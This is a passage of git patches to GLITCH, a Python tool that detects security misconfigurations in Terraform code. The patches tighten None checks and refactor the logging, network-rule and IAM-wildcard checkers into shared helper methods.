self.check_required_attribute(element.attributes, [""], 'visibility') - if visibility: + if visibility is not None: if visibility.value.lower() not in ["private", "internal"]: errors.append(Error('sec_access_control', visibility, file, repr(visibility))) else: private = self.check_required_attribute(element.attributes, [""], 'private') - if private: + if private is not None: if f"{private.value}".lower() != "true": errors.append(Error('sec_access_control', private, file, repr(private))) else: diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 750a80fa..2aa9f9c0 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -12,7 +12,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", if (element.type == "resource.aws_eks_cluster"): enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], "enabled_cluster_log_types[0]") types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] - if enabled_cluster_log_types: + if enabled_cluster_log_types is not None: i = 0 while enabled_cluster_log_types: a = enabled_cluster_log_types @@ -28,13 +28,13 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) elif (element.type == "resource.aws_msk_cluster"): broker_logs = self.check_required_attribute(element.attributes, ["logging_info"], "broker_logs") - if broker_logs: + if broker_logs is not None: active = False logs_type = ["cloudwatch_logs", "firehose", "s3"] a_list = [] for type in logs_type: log = self.check_required_attribute(broker_logs.keyvalues, [""], type) - if log: + if log is not None: enabled = self.check_required_attribute(log.keyvalues, [""], "enabled") if enabled and f"{enabled.value}".lower() == "true": active = True @@ -54,7 +54,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif (element.type == "resource.aws_neptune_cluster"): active = False enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[0]") - if enable_cloudwatch_logs_exports: + if enable_cloudwatch_logs_exports is not None: i = 0 while enable_cloudwatch_logs_exports: a = enable_cloudwatch_logs_exports @@ -71,7 +71,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif (element.type == "resource.aws_docdb_cluster"): active = False enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") - if enabled_cloudwatch_logs_exports: + if enabled_cloudwatch_logs_exports is not None: i = 0 while enabled_cloudwatch_logs_exports: a = enabled_cloudwatch_logs_exports @@ -112,7 +112,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", elif (element.type == "resource.azurerm_monitor_log_profile"): categories = self.check_required_attribute(element.attributes, [""], "categories[0]") activities = [ "action", "delete", "write"] - if categories: + if categories is not None: i = 0 while categories: a = categories @@ -137,14 +137,14 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): name = storage_account_name.value.lower().split('.')[1] storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") - if storage_account_au: + if storage_account_au is not None: expr = "\${azurerm_storage_account\." + f"{name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", "storage_account_id", pattern, [""]) - if assoc_au: + if assoc_au is not None: blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") - if blob_container_names: + if blob_container_names is not None: i = 0 contains_blob_name = False while blob_container_names: @@ -176,9 +176,9 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) elif (element.type == "resource.aws_ecs_cluster"): name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") - if name: + if name is not None: enabled = self.check_required_attribute(element.attributes, ["setting"], "value") - if enabled: + if enabled is not None: if enabled.value.lower() != "enabled": errors.append(Error('sec_logging', enabled, file, repr(enabled))) else: diff --git a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py index bc61a731..df976c12 100644 --- a/glitch/analysis/terraform/missing_encryption.py +++ b/glitch/analysis/terraform/missing_encryption.py @@ -20,7 +20,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"associated to an 'aws_s3_bucket' resource.")) elif (element.type == "resource.aws_eks_cluster"): resources = self.check_required_attribute(element.attributes, ["encryption_config"], "resources[0]") - if resources: + if resources is not None: i = 0 valid = False while resources: @@ -37,16 +37,16 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) elif (element.type in ["resource.aws_instance", "resource.aws_launch_configuration"]): ebs_block_device = self.check_required_attribute(element.attributes, [""], "ebs_block_device") - if ebs_block_device: + if ebs_block_device is not None: encrypted = self.check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") if not encrypted: errors.append(Error('sec_missing_encryption', element, file, repr(element), f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) elif (element.type == "resource.aws_ecs_task_definition"): volume = self.check_required_attribute(element.attributes, [""], "volume") - if volume: + if volume is not None: efs_volume_config = self.check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") - if efs_volume_config: + if efs_volume_config is not None: transit_encryption = self.check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") if not transit_encryption: errors.append(Error('sec_missing_encryption', element, file, repr(element), diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index e4ab67bd..26673faf 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -21,7 +21,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", port = False if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): port = True - if dest_port_ranges: + if dest_port_ranges is not None: i = 1 while dest_port_ranges: if dest_port_ranges.value.lower() in ["22", "3389", "*"]: @@ -29,7 +29,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", break i += 1 dest_port_ranges = self.check_required_attribute(element.attributes, [""], f"destination_port_ranges[{i}]") - if port: + if port is not None: source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py index a7a0ecde..ae72a0c7 100644 --- a/glitch/analysis/terraform/permission_iam_policies.py +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -13,7 +13,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", expr = "\${aws_iam_user\." + f"{elem_name}\." pattern = re.compile(rf"{expr}") assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) - if assoc_au: + if assoc_au is not None: a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py index e630db31..aa466a53 100644 --- a/glitch/analysis/terraform/public_ip.py +++ b/glitch/analysis/terraform/public_ip.py @@ -15,7 +15,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{config['msg']}'.")) elif (config['required'] == "must_not_exist" and element.type in config['au_type']): a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) - if a: + if a is not None: errors.append(Error('sec_public_ip', a, file, repr(a))) elif isinstance(element, Attribute) or isinstance(element, Variable): diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index 1ab3428f..cc8439b3 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -19,7 +19,7 @@ def convert_string_to_dict(input_string): if isinstance(element, AtomicUnit): if (element.type == "data.aws_iam_policy_document"): statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) - if statements: + if statements is not None: for statement in statements: allow = self.check_required_attribute(statement.keyvalues, [""], "effect") if ((allow and allow.value.lower() == "allow") or (not allow)): @@ -48,7 +48,7 @@ def convert_string_to_dict(input_string): elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): policy = self.check_required_attribute(element.attributes, [""], "policy") - if policy: + if policy is not None: policy_dict = convert_string_to_dict(policy.value.lower()) if policy_dict and policy_dict["statement"]: statements = policy_dict["statement"] diff --git a/glitch/analysis/terraform/smell_checker.py b/glitch/analysis/terraform/smell_checker.py index 0cae316f..9e240a02 100644 --- a/glitch/analysis/terraform/smell_checker.py +++ b/glitch/analysis/terraform/smell_checker.py @@ -13,7 +13,7 @@ def get_au(self, c, file: str, name: str, type: str): elif isinstance(c, Module): for ub in c.blocks: au = self.get_au(ub, file, name, type) - if au: + if au is not None: return au elif isinstance(c, UnitBlock): for au in c.atomic_units: @@ -30,7 +30,7 @@ def get_associated_au(self, code, file: str, type: str, attribute_name: str , pa elif isinstance(code, Module): for ub in code.blocks: au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) - if au: + if au is not None: return au elif isinstance(code, UnitBlock): for au in code.atomic_units: @@ -72,7 +72,7 @@ def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: if database_flags != []: for flag in database_flags: name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) - if name: + if name is not None: found_flag = True value = self.check_required_attribute(flag.keyvalues, [""], "value") if value and value.value.lower() != safe_value: diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py index b3de5392..9b0ac367 100644 --- a/glitch/analysis/terraform/threats_detection.py +++ b/glitch/analysis/terraform/threats_detection.py @@ -15,7 +15,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name '{config['msg']}'.")) elif (config['required'] == "must_not_exist" and element.type in config['au_type']): a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) - if a: + if a is not None: errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) elif isinstance(element, Attribute) or isinstance(element, Variable): diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index 41c56b77..1a7c5c1d 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -141,7 +141,7 @@ def create_variable(token, name, value, child=False) -> Variable: variables += AnsibleParser.__parse_vars(unit_block, f"{cur_name}[{i}]", val, code, child) else: value.append(val.value) - if value: + if len(value) > 0: create_variable(val, cur_name, str(value), child) return variables From 1cd509123f6369dc808edf64c83c265a17e650f3 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 20:41:11 +0000 Subject: [PATCH 52/58] refactor logging, network_policy and sensitive_iam_action --- glitch/analysis/terraform/logging.py | 234 ++++++++++-------- glitch/analysis/terraform/network_policy.py | 21 +- .../terraform/sensitive_iam_action.py | 118 ++++----- glitch/analysis/terraform/smell_checker.py | 171 +++++++------ 4 files changed, 291 insertions(+), 253 deletions(-) diff --git a/glitch/analysis/terraform/logging.py b/glitch/analysis/terraform/logging.py index 2aa9f9c0..59bc1162 100644 --- a/glitch/analysis/terraform/logging.py +++ b/glitch/analysis/terraform/logging.py @@ -1,4 +1,6 @@ import re + +from typing import List from glitch.analysis.terraform.smell_checker import TerraformSmellChecker from glitch.analysis.rules import Error from glitch.analysis.security import SecurityVisitor @@ -6,26 +8,117 @@ class TerraformLogging(TerraformSmellChecker): + def __check_log_attribute( + self, + element, + attribute_name: str, + file: str, + values: List[str], + all: bool = False + ): + errors = [] + attribute = self.check_required_attribute( + element.attributes, + [""], + f"{attribute_name}[0]" + ) + + if all: + active = True + for v in values[:]: + attribute_checked, _ = self.iterate_required_attributes( + element.attributes, + attribute_name, + lambda x: x.value.lower() == v + ) + if attribute_checked: + values.remove(v) + active = active and attribute_checked + else: + active, _ = self.iterate_required_attributes( + element.attributes, + attribute_name, + lambda x: x.value.lower() in values + ) + + + if attribute is None: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{attribute_name}'.")) + elif not active and not all: + errors.append(Error('sec_logging', attribute, file, repr(attribute))) + elif not active and all: + errors.append(Error('sec_logging', attribute, file, repr(attribute), + f"Suggestion: check for additional log type(s) {values}.")) + + return errors + + def check_azurerm_storage_container(self, element, code, file: str): + errors = [] + + container_access_type = self.check_required_attribute( + element.attributes, [""], "container_access_type" + ) + if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: + errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) + + storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") + if not (storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account.")): + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.") + ) + return errors + + name = storage_account_name.value.lower().split('.')[1] + storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") + if storage_account_au is None: + errors.append(Error('sec_logging', element, file, repr(element), + f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + + f"'azurerm_storage_account' resource in order to enable logging.") + ) + return errors + + expr = "\${azurerm_storage_account\." + f"{name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", + "storage_account_id", pattern, [""]) + if assoc_au is None: + errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), + f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + + f"associated to an 'azurerm_storage_account' resource.") + ) + return errors + + + blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") + if blob_container_names is None: + errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), + f"Suggestion: check for a required attribute with name 'blob_container_names'.") + ) + return errors + + contains_blob_name, _ = self.iterate_required_attributes( + assoc_au.attributes, + "blob_container_names", + lambda x: x.value + ) + if not contains_blob_name: + errors.append(Error('sec_logging', assoc_au.attributes[-1], file, repr(assoc_au.attributes[-1]))) + + return errors + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): errors = [] if isinstance(element, AtomicUnit): if (element.type == "resource.aws_eks_cluster"): - enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], "enabled_cluster_log_types[0]") - types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] - if enabled_cluster_log_types is not None: - i = 0 - while enabled_cluster_log_types: - a = enabled_cluster_log_types - if enabled_cluster_log_types.value.lower() in types: - types.remove(enabled_cluster_log_types.value.lower()) - i += 1 - enabled_cluster_log_types = self.check_required_attribute(element.attributes, [""], f"enabled_cluster_log_types[{i}]") - if types != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional log type(s) {types}.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enabled_cluster_log_types'.")) + errors.extend(self.__check_log_attribute( + element, + "enabled_cluster_log_types", + file, + ["api", "authenticator", "audit", "scheduler", "controllermanager"], + all=True + )) elif (element.type == "resource.aws_msk_cluster"): broker_logs = self.check_required_attribute(element.attributes, ["logging_info"], "broker_logs") if broker_logs is not None: @@ -52,39 +145,19 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name " + f"'logging_info.broker_logs.[cloudwatch_logs/firehose/s3].enabled'.")) elif (element.type == "resource.aws_neptune_cluster"): - active = False - enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[0]") - if enable_cloudwatch_logs_exports is not None: - i = 0 - while enable_cloudwatch_logs_exports: - a = enable_cloudwatch_logs_exports - if enable_cloudwatch_logs_exports.value.lower() == "audit": - active = True - break - i += 1 - enable_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enable_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enable_cloudwatch_logs_exports'.")) + errors.extend(self.__check_log_attribute( + element, + "enable_cloudwatch_logs_exports", + file, + ["audit"] + )) elif (element.type == "resource.aws_docdb_cluster"): - active = False - enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[0]") - if enabled_cloudwatch_logs_exports is not None: - i = 0 - while enabled_cloudwatch_logs_exports: - a = enabled_cloudwatch_logs_exports - if enabled_cloudwatch_logs_exports.value.lower() in ["audit", "profiler"]: - active = True - break - i += 1 - enabled_cloudwatch_logs_exports = self.check_required_attribute(element.attributes, [""], f"enabled_cloudwatch_logs_exports[{i}]") - if not active: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'enabled_cloudwatch_logs_exports'.")) + errors.extend(self.__check_log_attribute( + element, + "enabled_cloudwatch_logs_exports", + file, + ["audit", "profiler"] + )) elif (element.type == "resource.azurerm_mssql_server"): expr = "\${azurerm_mssql_server\." + f"{elem_name}\." pattern = re.compile(rf"{expr}") @@ -110,22 +183,13 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", and value and value.value.lower() != "on"): errors.append(Error('sec_logging', value, file, repr(value))) elif (element.type == "resource.azurerm_monitor_log_profile"): - categories = self.check_required_attribute(element.attributes, [""], "categories[0]") - activities = [ "action", "delete", "write"] - if categories is not None: - i = 0 - while categories: - a = categories - if categories.value.lower() in activities: - activities.remove(categories.value.lower()) - i += 1 - categories = self.check_required_attribute(element.attributes, [""], f"categories[{i}]") - if activities != []: - errors.append(Error('sec_logging', a, file, repr(a), - f"Suggestion: check for additional activity type(s) {activities}.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: check for a required attribute with name 'categories'.")) + errors.extend(self.__check_log_attribute( + element, + "categories", + file, + ["write", "delete", "action"], + all=True + )) elif (element.type == "resource.google_sql_database_instance"): for flag in SecurityVisitor._GOOGLE_SQL_DATABASE_LOG_FLAGS: required_flag = True @@ -133,47 +197,7 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", required_flag = False errors += self.check_database_flags(element, file, 'sec_logging', flag['flag_name'], flag['value'], required_flag) elif (element.type == "resource.azurerm_storage_container"): - storage_account_name = self.check_required_attribute(element.attributes, [""], "storage_account_name") - if storage_account_name and storage_account_name.value.lower().startswith("${azurerm_storage_account."): - name = storage_account_name.value.lower().split('.')[1] - storage_account_au = self.get_au(code, file, name, "resource.azurerm_storage_account") - if storage_account_au is not None: - expr = "\${azurerm_storage_account\." + f"{name}\." - pattern = re.compile(rf"{expr}") - assoc_au = self.get_associated_au(code, file, "resource.azurerm_log_analytics_storage_insights", - "storage_account_id", pattern, [""]) - if assoc_au is not None: - blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], "blob_container_names[0]") - if blob_container_names is not None: - i = 0 - contains_blob_name = False - while blob_container_names: - a = blob_container_names - if blob_container_names.value: - contains_blob_name = True - break - i += 1 - blob_container_names = self.check_required_attribute(assoc_au.attributes, [""], f"blob_container_names[{i}]") - if not contains_blob_name: - errors.append(Error('sec_logging', a, file, repr(a))) - else: - errors.append(Error('sec_logging', assoc_au, file, repr(assoc_au), - f"Suggestion: check for a required attribute with name 'blob_container_names'.")) - else: - errors.append(Error('sec_logging', storage_account_au, file, repr(storage_account_au), - f"Suggestion: check for a required resource 'azurerm_log_analytics_storage_insights' " + - f"associated to an 'azurerm_storage_account' resource.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - else: - errors.append(Error('sec_logging', element, file, repr(element), - f"Suggestion: 'azurerm_storage_container' resource has to be associated to an " + - f"'azurerm_storage_account' resource in order to enable logging.")) - container_access_type = self.check_required_attribute(element.attributes, [""], "container_access_type") - if container_access_type and container_access_type.value.lower() not in ["blob", "private"]: - errors.append(Error('sec_logging', container_access_type, file, repr(container_access_type))) + errors += self.check_azurerm_storage_container(element, code, file) elif (element.type == "resource.aws_ecs_cluster"): name = self.check_required_attribute(element.attributes, ["setting"], "name", "containerinsights") if name is not None: diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py index 26673faf..fa673c88 100644 --- a/glitch/analysis/terraform/network_policy.py +++ b/glitch/analysis/terraform/network_policy.py @@ -17,19 +17,14 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", errors.append(Error('sec_network_security_rules', access, file, repr(access))) elif (protocol and protocol.value.lower() == "tcp"): dest_port_range = self.check_required_attribute(element.attributes, [""], "destination_port_range") - dest_port_ranges = self.check_required_attribute(element.attributes, [""], "destination_port_ranges[0]") - port = False - if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): - port = True - if dest_port_ranges is not None: - i = 1 - while dest_port_ranges: - if dest_port_ranges.value.lower() in ["22", "3389", "*"]: - port = True - break - i += 1 - dest_port_ranges = self.check_required_attribute(element.attributes, [""], f"destination_port_ranges[{i}]") - if port is not None: + port = (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]) + port_ranges, _ = self.iterate_required_attributes( + element.attributes, + "destination_port_ranges", + lambda x: (x.value.lower() in ["22", "3389", "*"]) + ) + + if port or port_ranges: source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index cc8439b3..4be13d1d 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -16,62 +16,66 @@ def convert_string_to_dict(input_string): except json.JSONDecodeError as e: return None - if isinstance(element, AtomicUnit): - if (element.type == "data.aws_iam_policy_document"): - statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) - if statements is not None: - for statement in statements: - allow = self.check_required_attribute(statement.keyvalues, [""], "effect") - if ((allow and allow.value.lower() == "allow") or (not allow)): - sensitive_action = False - i = 0 - action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") - while action: - if ("*" in action.value.lower()): - sensitive_action = True - break - i += 1 - action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") - if sensitive_action: - errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) - wildcarded_resource = False - i = 0 - resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") - while resource: - if (resource.value.lower() in ["*"]) or (":*" in resource.value.lower()): - wildcarded_resource = True - break - i += 1 - resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") - if wildcarded_resource: - errors.append(Error('sec_sensitive_iam_action', resource, file, repr(resource))) - elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", - "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): - policy = self.check_required_attribute(element.attributes, [""], "policy") - if policy is not None: - policy_dict = convert_string_to_dict(policy.value.lower()) - if policy_dict and policy_dict["statement"]: - statements = policy_dict["statement"] - if isinstance(statements, dict): - statements = [statements] - for statement in statements: - if statement["effect"] and statement["action"] and statement["resource"]: - if statement["effect"] == "allow": - if isinstance(statement["action"], list): - for action in statement["action"]: - if ("*" in action): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - break - else: - if ("*" in statement["action"]): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - if isinstance(statement["resource"], list): - for resource in statement["resource"]: - if (resource in ["*"]) or (":*" in resource): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - break - else: - if (statement["resource"] in ["*"]) or (":*" in statement["resource"]): - errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + if not isinstance(element, AtomicUnit): + return errors + + if element.type != "data.aws_iam_policy_document": + return errors + + statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) + if statements is not None: + for statement in statements: + allow = self.check_required_attribute(statement.keyvalues, [""], "effect") + if ((allow and allow.value.lower() == "allow") or (not allow)): + sensitive_action, action = self.iterate_required_attributes( + statement.keyvalues, + "actions", + lambda x: "*" in x.value.lower() + ) + if sensitive_action: + errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + + wildcarded_resource, resource = self.iterate_required_attributes( + statement.keyvalues, + "resources", + lambda x: (x.value.lower() in ["*"]) or (":*" in x.value.lower()) + ) + if wildcarded_resource: + errors.append(Error('sec_sensitive_iam_action', resource, file, repr(resource))) + elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", + "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): + policy = self.check_required_attribute(element.attributes, [""], "policy") + if policy is None: + return errors + + policy_dict = convert_string_to_dict(policy.value.lower()) + if not (policy_dict and policy_dict["statement"]): + return errors + + statements = policy_dict["statement"] + if isinstance(statements, dict): + statements = [statements] + + for statement in statements: + if not (statement["effect"] and statement["action"] and statement["resource"]): + continue + if not (statement["effect"] == "allow"): + continue + + if isinstance(statement["action"], list): + for action in statement["action"]: + if ("*" in action): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + elif ("*" in statement["action"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + + if isinstance(statement["resource"], list): + for resource in statement["resource"]: + if (resource in ["*"]) or (":*" in resource): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + elif (statement["resource"] in ["*"]) or (":*" in statement["resource"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/smell_checker.py b/glitch/analysis/terraform/smell_checker.py index 9e240a02..95e803e4 100644 --- a/glitch/analysis/terraform/smell_checker.py +++ b/glitch/analysis/terraform/smell_checker.py @@ -1,88 +1,103 @@ import os import re +from typing import List, Callable from glitch.repr.inter import * from glitch.analysis.rules import Error, SmellChecker class TerraformSmellChecker(SmellChecker): - def get_au(self, c, file: str, name: str, type: str): - if isinstance(c, Project): - module_name = os.path.basename(os.path.dirname(file)) - for m in c.modules: - if m.name == module_name: - return self.get_au(m, file, name, type) - elif isinstance(c, Module): - for ub in c.blocks: - au = self.get_au(ub, file, name, type) - if au is not None: - return au - elif isinstance(c, UnitBlock): - for au in c.atomic_units: - if (au.type == type and au.name == name): - return au - return None + def get_au(self, c, file: str, name: str, type: str): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in c.modules: + if m.name == module_name: + return self.get_au(m, file, name, type) + elif isinstance(c, Module): + for ub in c.blocks: + au = self.get_au(ub, file, name, type) + if au is not None: + return au + elif isinstance(c, UnitBlock): + for au in c.atomic_units: + if (au.type == type and au.name == name): + return au + return None + + def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): + if isinstance(code, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in code.modules: + if m.name == module_name: + return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) + elif isinstance(code, Module): + for ub in code.blocks: + au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) + if au is not None: + return au + elif isinstance(code, UnitBlock): + for au in code.atomic_units: + if (au.type == type and self.check_required_attribute( + au.attributes, attribute_parents, attribute_name, None, pattern)): + return au + return None + + def get_attributes_with_name_and_value(self, attributes, parents, name, value = None, pattern = None): + aux = [] + for a in attributes: + if a.name.split('dynamic.')[-1] == name and parents == [""]: + if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): + aux.append(a) + elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): + continue + elif (not value and not pattern): + aux.append(a) + elif a.name.split('dynamic.')[-1] in parents: + aux += self.get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) + elif a.keyvalues != []: + aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) + return aux - def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): - if isinstance(code, Project): - module_name = os.path.basename(os.path.dirname(file)) - for m in code.modules: - if m.name == module_name: - return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) - elif isinstance(code, Module): - for ub in code.blocks: - au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) - if au is not None: - return au - elif isinstance(code, UnitBlock): - for au in code.atomic_units: - if (au.type == type and self.check_required_attribute( - au.attributes, attribute_parents, attribute_name, None, pattern)): - return au + def check_required_attribute(self, attributes, parents, name, value = None, pattern = None, return_all = False): + attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) + if attributes != []: + if return_all: + return attributes + return attributes[0] + else: return None - def get_attributes_with_name_and_value(self, attributes, parents, name, value = None, pattern = None): - aux = [] - for a in attributes: - if a.name.split('dynamic.')[-1] == name and parents == [""]: - if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): - aux.append(a) - elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): - continue - elif (not value and not pattern): - aux.append(a) - elif a.name.split('dynamic.')[-1] in parents: - aux += self.get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) - elif a.keyvalues != []: - aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) - return aux + def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: str, safe_value: str, + required_flag = True): + database_flags = self.get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") + found_flag = False + errors = [] 